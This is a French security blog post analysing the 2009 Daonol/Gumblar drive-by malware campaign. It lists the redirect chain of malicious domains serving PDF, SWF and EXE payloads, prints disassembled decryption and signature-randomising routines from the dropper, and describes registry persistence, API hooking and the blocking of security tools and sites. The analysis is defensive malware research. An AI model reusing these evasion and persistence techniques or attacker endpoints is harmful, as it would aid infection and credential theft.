Daonol / Gumblar - Miekiemoes is a superstar
You know what? I'm happy...

- [05 - 10] Les Web Services
- [11 - 18] Pentest d’un Web Service
- [20 - 31] WS-Security
- [32 - 37] Attaques sur les Web Services
- [38 - 43] Vers une version française de la guerre de l’information ? (Partie 2)
- [44 - 53] Aperçu de l’infrastructure BGP
- [54 - 60] Détection opérationnelle des rootkits HVM ou quand la recherche remplace le buzz (Partie 2)
- [61 - 71] Fuzzing 802.11
- Exploitation de la faiblesse de MD5 : création d’une autorité de certification
- [78 - 82] La sécurité du WiFi sur la sellette
Pour plus d'infos, rendez-vous chez Diamond.
Daonol ça vous dit quelque chose ? Non, ce n'est pas une marque de boisson qui permet de diminuer le cholestérol, il est écrit: "DAONOL". Non toujours pas ? Et bien c'est parfait puisque c'est le thème de ce billet. Une banale discussion entre collaborateurs lors d'un repas peut vous entraîner dans des histoires farfelues, en voici la preuve.
Arrivés au moment du café, comme tout à chacun, on apprécie s'échanger les petits détails croustillants et les ragots qui se déroulent sous nos cyber-yeux. L'un d'eux m'explique avoir lu récemment par le biais du très controversé Zataz que des pirates avaient décidés de s'acharner sur les visiteurs de sites ayant des liens avec le club du Paris Saint-Germain en injectant des codes malveillants dans les pages. Ces choses sont si banales que sur le moment, je n'y prête pas plus attention. Allez savoir si c'est la curiosité ou la (l'in) conscience professionnelle, je décide une fois de retour à mon bureau de consulter ces articles pour en apprendre d'avantage sur le type de menaces qui touchent ces sites. Deux articles pour le mois de mai, le plus ancien fait référence à "psgteam.net" et l'autre à "pronopsg.com" ; l'un est un portail "Joomla!" qui a été "nettoyé" l'autre est une simple page encore piégée. Allons voir de plus près ce qu'il se passe lorsqu'un internaute affiche ces pages. N'essayez pas de visiter ces sites, même si vous pensez être en sécurité et savoir ce que vous faites, vous risqueriez de vous infecter.
Premier indice, la date de modification de la page "Sun, 10 May 2009 09:02:06 GMT" (au moment d'écrire l'article);

Ce script contient une légère obfuscation, les connaisseurs devraient arriver à lire ce message sans trop de complications.

Sur le moment, je suis étonné par le nom pas commun du cookie: "miek" mais après tout pourquoi pas. En bas de page:

Le nom de domaine "gumblar.cn" est connus de nos services depuis un moment. Dernièrement, j'ai lu un article à ce sujet sur le blog "Unmask Parasites". Au moment de l'article, le site "klaomta.com" ne répondait pas, en outre toujours sur le même blog,
on découvre d'autres informations sur le type de code injecté. Pour
"liteautotop.cn", pas question d'analyser tous les exploits, ça
prendrait trop de temps à rédiger, ci-dessous un schéma simplifié.
- 91.212.65.144 - http://liteautotop.cn/ts/in.cgi?mozila
-> 91.212.65.144 - http://liteautotop.cn/index.php
-> 213.182.197.23 - http://litebest.cn:8080/index.php
-> 85.214.90.254 - http://bigtopcabaret.cn:8080/index.php
-> 213.182.197.23 - http://findbigthinker.cn:8080/cache/flash.swf
-> 213.182.197.23 - http://litebest.cn:8080/cache/flash.swf
-> 85.214.90.254 - http://bigtopcabaret.cn:8080/cache/flash.swf
-> 91.212.65.144 - http://liteautotop.cn/cache/flash.swf
-> 213.182.197.23 - http://findbigthinker.cn:8080/cache/readme.pdf
-> 213.182.197.23 - http://litebest.cn:8080/cache/readme.pdf
-> 85.214.90.254 - http://bigtopcabaret.cn:8080/cache/readme.pdf
-> 91.212.65.144 - http://liteautotop.cn/cache/readme.pdf
payload -> 213.182.197.23 - http://parkinglotbet.cn/load.php?id=8
payload -> 91.212.65.144 - http://liteautotop.cn/load.php?id=8
payload -> 91.212.65.144 - http://autobestwestern.cn/load.php?id=8
payload -> 91.212.65.144 - http://findbigthinker.cn/load.php?id=8
payload -> 85.214.90.254 - http://bigtopcabaret.cn/load.php?id=8
Il s'agit de Trojan:Win32/Gearclop.gen!A ; il en sera sujet dans un avenir proche.
Revenons aux activités de "gumblar.cn":

Lorsque l'id est à 2, la requête pointe sur un exploit au format PDF.
X-Powered-By: PHP/5.1.6
Expires: Thu, 01 Jan 2000 00:00:00 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Content-Length: 12791
Content-Disposition: inline; filename=CtdP.pdf
Content-Transfer-Encoding: binary
Connection: close
Content-Type: application/pdf
Lorsque l'id est à 3, la requête pointe sur un exploit au format SWF.
X-Powered-By: PHP/5.1.6
Expires: Thu, 01 Jan 2000 00:00:00 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Content-Length: 12858
Content-Disposition: inline; filename=Bi9ZmG.swf
Content-Transfer-Encoding:binary
Connection: close
Content-Type: application/x-shockwave-flash
L'id 11 correspond à un programme compressé UPX.
X-Powered-By: PHP/5.1.6
Expires: Thu, 01 Jan 2000 00:00:00 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Content-Length: 17408
Content-Disposition: inline; filename=rANd.exe
Content-Transfer-Encoding:binary
Connection: close
Content-Type: application/octet-stream
Il est important de noter que le nom des fichiers PDF, SWF, EXE sont générés à la volée. Pour en revenir à l'importance du cookie, il est théoriquement pas possible de télécharger ces fichiers hors contexte des exploits.
Décompression de l'exécutable.
File size Ratio Format Name
-------------------- ------ ----------- -----------
32768 <- 17408 53.13% win32/pe rANd.exe
Le programme semble alors avoir été compilé en Delphi.
Certaines chaînes de caractères sont encodées comme ceci.
@StrDec:
MOV CL,BYTE PTR DS:[EDX+EAX-1]
XOR CL,0D5
MOV BYTE PTR DS:[EDX+EAX-1],CL
DEC EDX
JNZ @StrDec
RET
---- Chaînes décryptées
"SoFtWARE\Microsoft\Windows nT\currentversion\Drivers32"
"\sysaudio.sys"
"\wdmaud.sys"
"\kernel32.dll"
"GetSystemDirectoryA"
"\sqlsodbc.chm"
etc...
La variable nommée %repdrop% correspondra à l'emplacement où le dropper a été exécuté.
Une librarie cryptée qu'on va nommer "%alea%.ext" est embarquée dans le dropper.
PUSHAD
MOV ESI,00403168
MOV EDI,ESI
ADD EDI,1153
@PEDec:
LODS BYTE PTR DS:[ESI]
MOV AH,BYTE PTR DS:[EDI]
XOR EAX,0D5D5
MOV BYTE PTR DS:[ESI-1],AH
STOS BYTE PTR ES:[EDI]
SUB EDI,2
CMP ESI,EDI
JLE @PEDec
POPAD
L'empreinte "%alea%.ext" est rendue aléatoire par modification des ressources: (StringFileInfo->Description)
@ScanRes:
MOV EAX,19
CALL @ModSig
ADD EAX,61
MOV BYTE PTR DS:[EBX],AL
INC EBX
DEC ESI
CMP ESI,-1
JNZ @ScanRes
@ModSig:
PUSH EBX
XOR EBX,EBX
IMUL EDX,DWORD PTR DS:[EBX+403008],8088405
INC EDX
MOV DWORD PTR DS:[EBX+403008],EDX
MUL EDX
MOV EAX,EDX
POP EBX
RET
Le fichier "sqlsodbc.chm" a un rôle important, il est créé comme ceci:
CreateFileA("%windir%\system32\sqlsodbc.chm", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
ReadFile(hFile, Buffer, 52B, pBytesRead, NULL);
CloseHandle(hFile);
Puis les valeurs renvoyées par l'API GetFileTime sur le fichier "kernel32.dll" sont récupérées et fait ceci:
CreateFileA("%windir%\system32\sqlsodbc.chm", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NORMAL, NULL);
Va suivre un WriteFile d'une taille de 0x52B ; puis SetFileTime et CloseHandle.
CreateFileA("%repdrop%\..\%alea%.ext", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NORMAL, NULL);
Va suivre un WriteFile d'une taille de 0x5A00 puis SetFileTime et CloseHandle.
Pas besoins de clarifier, je pense que vous avez compris le but des
manipulations. Un fichier batch est ensuite créé à la racine, il sera
chargé d'effacer le dropper. Une fois le système infecté, aucun
processus ne semble actif ou visible et pourtant... en mémoire ça
s'active ! En principe, quand un programme est exécuté, il charge des
modules sauf qu'au lieu d'avoir des légitimes, on a ceci:
LoadLibraryExW("%repdrop%\..\%alea%.ext", NULL, 0);
Viendra ensuite un VirtualAlloc(10000000,C001,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
Puis un CreateThread(NULL, 0, 1000BFF9, 1000BFED, 0, 0012E5B0);
Le flag 0 signifie que ce thread va être exécuté après sa création, un coups d'oeil..
----------------------------------------------------------------------------------------------------------------------------------------------------------------
1000BFF9 59 POP ECX
1000BFFA 5E POP ESI ; 1000BFED
1000BFFB AD LODS DWORD PTR DS:[ESI]
1000BFFC 50 PUSH EAX ; 0000C000
1000BFFD 6A 01 PUSH 1
1000BFFF AD LODS DWORD PTR DS:[ESI]
1000C000 50 PUSH EAX ; "%repdrop%\..\%alea%.ext"
1000C001 51 PUSH ECX
1000C002 FF26 JMP DWORD PTR DS:[ESI] ; DS:[1000BFF5]=10005BAC \o/
1000C004 59 POP ECX
----------------------------------------------------------------------------------------------------------------------------------------------------------------
Voici maintenant l'extrait d'une capture d'API alors que l'utilisateur ne fait absolument rien.
- svchost.exe - pid:1840 - OUVRE - "%repdrop%\..\%alea%.ext" - crc32:0x074B8027
- svchost.exe - pid:1840 - FERME - "%repdrop%\..\%alea%.ext" - crc32:0x074B8027
- svchost.exe - pid:1840 - OUVRE - "%windir%\system32\sqlsodbc.chm - crc32:0x726891F1
- svchost.exe - pid:1840 - LECTURE - "%windir%\system32\sqlsodbc.chm - crc32:0x726891F1
- svchost.exe - pid:1840 - FERME - "%windir%\system32\sqlsodbc.chm - crc32:0x726891F1
Ci-dessous, l'utilisateur vient d'effacer les fichiers, mais rien n'y fait, ça continue.
- svchost.exe - pid:1840 - OUVRE - "%repdrop%\..\%alea%.ext" - crc32:0x074B8027
- svchost.exe - pid:1840 - FERME - "%repdrop%\..\%alea%.ext" - crc32:0x074B8027
- svchost.exe - pid:1840 - OUVRE - "%windir%\system32\sqlsodbc.chm - crc32:0x726891F1
- svchost.exe - pid:1840 - LECTURE - "%windir%\system32\sqlsodbc.chm - crc32:0x726891F1
- svchost.exe - pid:1840 - FERME - "%windir%\system32\sqlsodbc.chm - crc32:0x726891F1
Les
processus injectés vont, toutes les 5 secondes, effectuer des
vérifications. Si des fichiers ont été effacés, ils sont recréés à
l'identique. Ce balayage devrait en théorie alerter les utilisateurs
car les ressources viennent rapidement à diminuer sans compter que ça
s'applique à d'autres fonctions que la simple surveillance des
fichiers, regardez plutôt ceci.
---- User code sections - GMER ----
.text %windir%\system32\winlogon.exe kernel32.dll!CreateProcessW 7C802332 5 Bytes JMP 10003B10
.text %windir%\system32\winlogon.exe WS2_32.dll!connect 719F406A 5 Bytes JMP 10003A3C
.text %windir%\system32\winlogon.exe WS2_32.dll!send 719F428A 5 Bytes JMP 100031A0
.text %windir%\system32\winlogon.exe WS2_32.dll!WSARecv 719F4318 5 Bytes JMP 100028C0
.text %windir%\system32\winlogon.exe WS2_32.dll!recv 719F615A 5 Bytes JMP 10002838
.text %windir%\system32\winlogon.exe WS2_32.dll!WSASend 719F6233 5 Bytes JMP 10003A04
.text %windir%\system32\lsass.exe kernel32.dll!CreateProcessW 7C802332 5 Bytes JMP 10003B10
.text %windir%\system32\lsass.exe WS2_32.dll!connect 719F406A 5 Bytes JMP 10003A3C
.text %windir%\system32\lsass.exe WS2_32.dll!send 719F428A 5 Bytes JMP 100031A0
.text %windir%\system32\lsass.exe WS2_32.dll!WSARecv 719F4318 5 Bytes JMP 100028C0
.text %windir%\system32\lsass.exe WS2_32.dll!recv 719F615A 5 Bytes JMP 10002838
.text %windir%\system32\lsass.exe WS2_32.dll!WSASend 719F6233 5 Bytes JMP 10003A04
.text %windir%\system32\svchost.exe kernel32.dll!CreateProcessW 7C802332 5 Bytes JMP 10003B10
.text %windir%\system32\svchost.exe ws2_32.dll!connect 719F406A 5 Bytes JMP 10003A3C
.text %windir%\system32\svchost.exe ws2_32.dll!send 719F428A 5 Bytes JMP 100031A0
.text %windir%\system32\svchost.exe ws2_32.dll!WSARecv 719F4318 5 Bytes JMP 100028C0
.text %windir%\system32\svchost.exe ws2_32.dll!recv 719F615A 5 Bytes JMP 10002838
.text %windir%\system32\svchost.exe ws2_32.dll!WSASend 719F6233 5 Bytes JMP 10003A04
----------------------------------------------------------------------------------------
L'outil "GMER" affiche correctement les modifications, par contre l'option "Restore Code" est inutile, une boucle qui utilise WriteProcessMemory va aussitôt re-patcher le code. Une technique pour analyser consiste à repérer les threads actifs qui ont été créés à l'aide de CreateThread. Je précise que l'excellent ProcessExplorer est aussi capable de fournir ce genre d'informations. Si les threads similaires sur les processus qui m'ont été révélés par "GMER" sont tués ça va stopper le code "qui se déplace" de processus en processus mais c'est purement temporaire. Pourquoi ? C'est simple, si l'ordinateur est arrêté, le mécanisme qui assure le redémarrage du programme va faire son job. Autre point qui va intéresser nos amis des forums d'entre-aide informatique et je sais qu'ils sont nombreux à nous lire: l'outil "HijackThis" n'affiche aucune ligne suspecte. Pour comprendre, souvenez vous des chaînes décryptées qui sont plus haut, nous avions une référence à Drivers32. Allons voir ça à l'aide de l'éditeur de registre. Mauvaise surprise, "regedit" ne fonctionne pas, pire il relance "explorer.exe". En effet, il n'est pas possible pour les utilisateurs infectés d'accéder aux ressources qui font références à "reged", "cmd", ".bat", "gmer", "le38", "/windows nt/". En écrivant ces lignes, je me rends compte que je n'ai pas vérifié à quoi servait "le38", je pose l'hypothèse selon laquelle "le38" fait référence à RkU LE v3.8 .Quand un programme semble bloqué, l'astuce la plus simple consiste souvent à renommer le nom du fichier, on obtient alors:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32
"aux" - REG_SZ - "%repdrop%\..\%alea%.ext"
nb: Ne vous fiez pas à "aux", ça peut être "aux1" par exemple.
Côté browser, il y a des fonctionnalités de blocage d'accès à certains éditeurs de solutions de sécurité:
Ci-dessous, sur le côté droit, on comprends que d'autres sites sont bloqués. ( cliquez sur l'image pour agrandir )
Plus étonnant, l'accès au blog de notre amie Miekiemoes l'est aussi.
Le message vous indique que la méthode n'est pas valide. Et en effet, c'est le cas.

L'habituelle méthode "GET" a été déformée, ce qui invalide la requête.
Les requêtes de l'utilisateur sont donc scannées à la recherche des champs comme par exemple, "Referer:", "Host:" ayant pour critères: "DaonolFix", "miekiemoes", "mbam","clamav","prevx","mcafee","aolcdn","yimg","icq","yahoo" ,"live","msn", ".google." + des combinaisons comme "search." + {"icq" ou "yahoo" ou "live" ou "msn"} + "."
En réalité, toutes vos requêtes sont espionnées et éventuellement traitées (ex: détournements)
Analysons, une requête envoyée sur un des serveurs contrôlés par les cybercriminels.
SS: /info-ops/cyberspace.htm HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://www.afcyber.af.mil/main/contactus.asp
Accept-Language: en
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Xost: www.au.af.mil
Connection: Keep-Alive
Host: 67.215.237.98
Cache-Control: no-cache
Le champs "SS: " + "Xost" contiennent les valeurs qui composent les requêtes précédentes.
Le programme agira en fonction des réponses du serveur: exemple d'une réponse 302 (Found)
<a //fHqqOHKNEEMP http://ontopdirectories.org/search.php?q=ops .>
nb: Les droppers sont également présent sur les serveurs. req:"/x/?0D{$string}"
En fonction des droppers analysés par le passé, nous savons que la localisation des serveurs peuvent varier de même pour ce que vous apercevez dans la capture ci-dessus, "GCONNHED" varie, exemple par "PKEMBIMD". Les serveurs "67.215.237.98" et "67.215.246.34" sont basés à "Santa Ana" mais si on prends "94.229.65.172", celui là est basé à "Moscow" en "Russie". Le rôle de la chaîne de caractères "//fHqq" ne sera pas détaillé dans ce billet, tout comme d'autres fonctionnalités. Concernant la DLL embed, les chaînes (noms des sites bloqués, etc..) étaient décodées comme ceci:
@DecStr:
XOR DWORD PTR DS:[EAX],49C0B781
ADD EDI,4
MOV EAX,EDI
CMP DWORD PTR DS:[EAX],96505356
JNZ @DecStr
PUSH 1
Finalement, l'information de départ était dirigée sur de fausses hypothèses "pirate isolé, attaque ciblée envers le PSG" alors qu'il s'agit de l'œuvre de groupes structurés qui attaquent massivement des milliers de sites dans le monde. Aujourd'hui, ce site est toujours contrôlé par les pirates, ils font même des mises à jour:
http://qwu11a.biz:80/cpanel/index.php
Les deux sites stipulés dans les articles sont hébergés chez 1&1 et appartiennent au même client: le propriétaire se serait-il fait voler ses identifiants ? Le journaliste utilisant le pseudonyme de Damien Bancal a eu l'amabilité de nous répondre. Il a tenté d'entrer en contact avec le responsable légal du site mais ça n'a abouti à rien ; à notre tour, nous avons tenté de téléphoner, en vain. Un mot de soutient à Zataz ; ce site est souvent l'objet de polémiques pour X ou Y raisons: moi même, il m'arrive parfois de manifester mon mécontentement (quelle belle formule de style) sur les titres accrocheurs qui dénaturent et déforment les sujets MAIS.. avouez tout de même que depuis sa création en 1998, c'est devenu un coin incontournable pour les commérages et si vous avez suffisamment de bon sens, vous comprenez tout de suite pourquoi: c'est l'e-zine des cyber potins par excellence, le "Voici" de l'underground. A partir du moment où vous en avez conscience, il suffit d'extraire les informations avec des pincettes et de vérifier vous même les faits qui vous intéressent tout comme vous le feriez avec n'importe quel site.
Quant aux auteurs de daonol, ils semblent considérer mon amie miekiemoes au même
rang que des sociétés comme Prevx ou McAfee ; ils ajoutent ici et là
de petits indices ; le nom du cookie, le blocage de son blog, les
propriétés des fichiers ( Miekiemoes rules ?? Yeah right... ) - SUPERSTAR !
C'est vrai, le titre de ce billet est léger et amusant mais ne pensez
vous pas que c'est peut être pour adoucir l'affaire Gumblar qui l'est
beaucoup moins.
She's also a great artist :]=~
Informations techniques:
- Google SERPs Redirections Turn to Bots ( May 8, 2009 )
- Gumblar Exploit - 12 Facts About This Injected Script ( May 10, 2009 )
- Troj/JSRedir-R: A high number of compromised sites ( May 13, 2009 )
- Gumblar Attacks Up Another 80% ( May 14, 2009 )
- Malicious JSRedir-R script found to be biggest malware threat on the web! ( May 14, 2009 )
- Gumblar Compromises Now Up 188% ! ( May 14, 2009 )
- Gumblar Questions & Answers ( May 14, 2009 )
- Troj/PHPMod-A: Behind the Troj/JSRedir-R attacks ( May 14, 2009 )
- Martuz .cn - New Incarnation of the Gumblar Exploit. So What's New? ( May 18, 2009 )
- Websense Security Labs - Gumblar - An Analysis & History ( May 21, 2009 )
- Gumblar/Martuz Aftermath ( May 26 2009 )
- Microsoft Malware Protection Center - Gamburl Gone Wild ( May 27 2009 )
- Websense Security Labs - Gumblar - An Update ( June 4, 2009 )
- Gumblar's 48,000 Compromised Domains Makes the Web a Dangerous Place ( June 7, 2009 )
- Beladen - Elusive Web Server Exploit. - information for site owners & hosting providers ( June 18, 2009 )
- Gumblar Invades Best Buy ( July 2, 2009)
- Koobface, Gumblar, Slowloris, Antisec (September 18, 2009 - ActuSécu XMCO n°23)
- Gumblar Website Botnet Awakes ( Mary Landesman ( October 15, 2009 ))
- Zeus Bot Joins Gumblar Attacks ( Mary Landesman ( October 20, 2009 ))
- Gumblar... Not Gumby! ( FireEye Malware Intelligence Lab ( October 23, 2009 ))
- Revenge of Gumblar Zombies ( Unmask Parasites Blog ( October 23, 2009 ))
Articles de presse:
- New Wave of "Gumblar" Hacked Sites Installs Google-targeting Malware ( May 14, 2009 )
- Google vs. Gumblar: Search Engine Abused in New Round of Stealthy Attacks ( May 14, 2009 )
- Rapidly Spreading 'Gumblar' Attack Redirects Users' Web Searches ( May 14, 2009 )
- Viral web infection siphons ad dollars from Google ( May 14, 2009 )
- New computer virus on rise, warn security experts ( May 15, 2009 )
- 'Gumblar' attack explodes across the web ( May 15, 2009 )
- Trojaner leitet Google-Nutzer auf gefälschte Seiten ( May 15, 2009 )
Gumblar Malware Exploit Circulating added May 18, 2009 at 12:47 pm
US-CERT
is aware of public reports of a malware exploit circulating. This is a
drive-by-download exploit with multiple stages and is being referred to
as Gumblar. The first stage of this exploit attempts to compromise
legitimate websites by injecting malicious code into them. Reports
indicate that these website infections occur primarily through stolen
FTP credentials but may also be compromised through poor configuration
settings, vulnerable web applications, etc. The second stage of this
exploit occurs when users visit a website compromised by Gumblar. Users
who visit these compromised websites and have not applied updates for
known PDF and Flash Player vulnerabilities may become infected with
malware. This malware may be used by attackers to monitor network
traffic and obtain sensitive information, including FTP and login
credentials, that can be used to conduct further exploits.
Additionally, this malware may also redirect Google search results for
the infected user. US-CERT encourages users and administrators to apply
software updates in a timely manner and use up-to-date antivirus
software to help mitigate the risks.




